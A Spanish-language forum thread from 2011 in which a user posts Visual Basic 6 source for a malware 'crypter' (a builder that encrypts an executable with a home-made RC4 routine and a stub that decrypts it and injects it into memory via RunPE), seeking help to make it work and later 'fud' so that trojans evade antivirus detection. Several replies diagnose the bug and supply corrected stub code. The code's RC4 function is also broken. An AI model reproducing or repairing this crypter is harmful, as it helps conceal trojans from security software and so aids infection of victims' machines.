Página 1 de 2

Que parte del source esta incorrecta?

Publicado: 11 May 2011, 00:32
por xxxPoseidonxxx
Hola !
este crypter me tiene !!El Crypter funciona "correctamente" , al parecer ,cuando ejecuto cualquiera de los servidores que e probado! Se ejecutan correctamente , es mas! No tiran mensaje de error! Tampoco rompe ningún cliente , todos los clientes abren entrada en el registro! Pero no van a su ubicación indicada ! Y ni hablar de conectar claro! Tal vez ustedes seguramente verán el error ! Aber quiero dejarlo fud pero primero tengo que hacer que funcione correctamente!Y luego liarme a modificarlo!

PD:Gracias por su atención


Encryptar button source:

Código: Seleccionar todo

Private Sub krypy_Click()
Dim Stub As String, Archivo As String



If txtarchivo.Text = vbNullString Then
MsgBox "Primero debe cargar un archivo para encriptar!", vbExclamation, Me.Caption
Else '

Open App.Path & "\Stub.exe" For Binary As #1
Stub = Space(LOF(1))
Get #1, , Stub
Close #1
Open txtarchivo.Text For Binary As #1
Archivo = Space(LOF(1))
Get #1, , Archivo
Close #1



With CD
        .DialogTitle = "Selecione la ruta donde guardar el archivo encriptado!"
        .Filter = "Aplicaciones EXE|*.exe"
        .ShowSave
        End With
        
        If Not CD.FileName = vbNullString Then
        
        
        Archivo = RC4(Archivo, "ro8oat")
        
        Open CD.FileName For Binary As #1
        Put #1, , Stub & "##$$##" & Archivo & "##$$##"
        Close #1
        
        MsgBox "Archivo Encriptado Correctamente!", vbInformation, Me.Caption
        End If

End If
End Sub

Public Function RC4(ByVal Data As String, ByVal Password As String) As String
On Error Resume Next
Dim F(0 To 255) As Integer, X, Y As Long, Key() As Byte
Key() = StrConv(Password, vbFromUnicode)
For X = 0 To 255
    Y = (Y + F(X) + Key(X Mod Len(Password))) Mod 256
    F(X) = X
Next X
Key() = StrConv(Data, vbFromUnicode)
For X = 0 To Len(Data)
    Y = (Y + F(Y) + 1) Mod 256
    Key(X) = Key(X) Xor F(Temp + F((Y + F(Y)) Mod 254))
Next X
RC4 = StrConv(Key, vbUnicode)
End Function




source stub:

Código: Seleccionar todo


Sub Main()
Dim YO As String, Datos As String, sData() As String

YO = App.Path & "\" & App.EXEName & ".exe"
Open YO For Binary As #1
Datos = Space(LOF(1))
Get #1, , Datos
Close #1



sData() = Split(Datos, "##$$##")



sData(1) = RC4(sData(1), sData(2))

Injec YO, StrConv(sData(1), vbFromUnicode), vbNullString


End Sub


Public Function RC4(ByVal Data As String, ByVal Password As String) As String
On Error Resume Next
Dim F(0 To 255) As Integer, X, Y As Long, Key() As Byte
Key() = StrConv(Password, vbFromUnicode)
For X = 0 To 255
    Y = (Y + F(X) + Key(X Mod Len(Password))) Mod 256
    F(X) = X
Next X
Key() = StrConv(Data, vbFromUnicode)
For X = 0 To Len(Data)
    Y = (Y + F(Y) + 1) Mod 256
    Key(X) = Key(X) Xor F(Temp + F((Y + F(Y)) Mod 254))
Next X
RC4 = StrConv(Key, vbUnicode)
End Function

Imagen

Re: Que parte del source esta incorrecta?

Publicado: 11 May 2011, 00:41
por Flight embedded
Hola . Esto debería ir en "Desarrollo y dudas de programación"
Oíme una cosa, hacé click en donde dice depurar y pegá una captura.

Re: Que parte del source esta incorrecta?

Publicado: 11 May 2011, 00:43
por xxxPoseidonxxx
ok!

Re: Que parte del source esta incorrecta?

Publicado: 11 May 2011, 01:17
por xxxPoseidonxxx
sorry el error del post en esta sección!

La depuración en el crypter es correcta no tira error de ninguna manera!Lo que si cuando Llega a :


MsgBox "Primero debe cargar un archivo para encriptar!", vbExclamation, Me.Caption


Me sale el mensaje y se al final de la instrucción.

En el stub

sData(1) = RC4(sData(1), sData(2))


error 9 en tiempo de ejecución:

el subíndice esta fuera del intervalo


Saludos

Re: Que parte del source esta incorrecta?

Publicado: 11 May 2011, 02:24
por baldini
error 9 en tiempo de ejecución:

el subíndice esta fuera del intervalo

Re: Que parte del source esta incorrecta?

Publicado: 11 May 2011, 02:35
por orlando9427
baldini escribió:error 9 en tiempo de ejecución:

el subíndice esta fuera del intervalo
Si ta da el error en una matriz y como es error lo dice no existe ese indice, por tanto debe haber algún error en el Split que no te esta delimitando el archivo y por consiguiente se almacenan los datos.

Revise el codigo y lo que has dicho de que te tira error en la linea sData(1) = RC4(sData(1), sData(2)) sacando conclusiones estas abriendo un archivo que no existe lo mas seguro es que sea "Stub.exe" o "Proyecto1.exe" por ser el nombre de proyecto. Compila primero el Stub sin probarlo o cambia la linea YO = App.Path & "\" & App.EXEName & ".exe" por la ruta del archivo YA ENCRIPTADO por que sino te seguira dando el mismo error (Solo si quieres probar si funciona cuando veas que no hay ningun error regresa la linea como estaba si no no te servirá en otras maquinas xD).

Pruebalo y nos comentas
Saludos!

Re: Que parte del source esta incorrecta?

Publicado: 11 May 2011, 10:42
por xxxPoseidonxxx
Estoy haciendo mal algo en esta parte del source:

sData(1) = RC4(sData(1), sData(2))


Como bien dice el compañero estoy indicando abrir algo que no existe!


Y bien ya lo sacare! boí-a repetir el crypter desde 0 y os cuento haber que me paso!!

Saludos

Re: Que parte del source esta incorrecta?

Publicado: 11 May 2011, 12:06
por warner2010
kynghuakr escribió:Estoy haciendo mal algo en esta parte del source:

sData(1) = RC4(sData(1), sData(2))


Como bien dice el compañero estoy indicando abrir algo que no existe!


Y bien ya lo sacare! boí-a repetir el crypter desde 0 y os cuento haber que me paso!!

Saludos
Me parece conocido ese error y más ese codigo fuente, cuando pueda verifico si coincide, yo solucione mirando abajo y viendo que debia modificar algo para que funcione y era en el stub.

Re: Que parte del source esta incorrecta?

Publicado: 11 May 2011, 13:46
por xxxPoseidonxxx
Es muy conocido es el tutorial de "skyweb007" esta el source por aquí en indetectables !!
Yo e estado buscando sobre el error y no e encontrado nada !!E tomado la conclusión de volverlo a repetir entero para haber que es lo que hago mal!Bueno si hay solución y me lo comentan lo reparare .!



Saludos

Re: Que parte del source esta incorrecta?

Publicado: 11 May 2011, 13:48
por xxxPoseidonxxx
Valdini no tenes personalidad?

Re: Que parte del source esta incorrecta?

Publicado: 11 May 2011, 21:44
por STX
Pruebas el stub en el entorno de VB6 o ya cuando encriptas?

Re: Que parte del source esta incorrecta?

Publicado: 12 May 2011, 02:05
por xxxPoseidonxxx
STX :Probarlo en entorno de VB6? Aque te refieres exactamente?





Re: Que parte del source esta incorrecta?

Publicado: 12 May 2011, 02:54
por xxxPoseidonxxx
Logicamente lo probe ya encriptado!!con tres troyanos


Saludos

PD:El error me lo tira cuando hago una depuración paso a paso por instrucción , al stub!cuando encrypto el archivo ni se rompe ni tira error, tampoco se autocopia! No ace nada!

Re: Que parte del source esta incorrecta?

Publicado: 12 May 2011, 14:01
por DuNeD@i
El error lo tienes en esa linea. Piensa que pusistes una key fija para la encryptación, por lo que al ponerlo como lo haces no te debe funcionar. Tienes que poner en el stub también la key que pusistes en el builder, sino no funcionará.

sData(1)= RC4(sData(1), sData(2)) <-- sData(2) no existe en el builder, nunca te puede funcionar, ahí está el error, o cambias en builder y pones la key que esté en un textbox y la separas mediante el delimitador, o bien pones la misma key que pusistes en el builder en esta línea en el stub.

Espero haberme explicado. Suerte.

Re: Que parte del source esta incorrecta?

Publicado: 12 May 2011, 14:44
por Fakedo0r

Código: Seleccionar todo


'Declaramos las vars.
Dim bDatos()    As Byte
Dim sDatos      As String
Dim sTemp()     As String

'Nos autoabrimos, obtenemos los datos y nos cerramos
Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1

    Datos = Space(LOF(1))
    Get #1, , Datos

Close #1

'Usamos la funcion "split" para separar los datos con el delimitador "##$$##"
sTemp() = Split(Datos, "##$$##")

'Desencriptamos el archivo encriptado
sData(1) = RC4(sData(1), "PASS")

'Convertimos el archivo desencriptado y mediante el Runpe  lo cargamos en la memoria
Injec YO, StrConv(sData(1), vbFromUnicode), vbNullString
--------------------

Tu error : sData(1) = RC4(sData(1), sData(2)) El sData(2) no existe.

PD: Tienes que leer manuales porque aunque te lo tabule todo asi no te vas a enterar de nada sin saber lo basico de vb6.

Saludos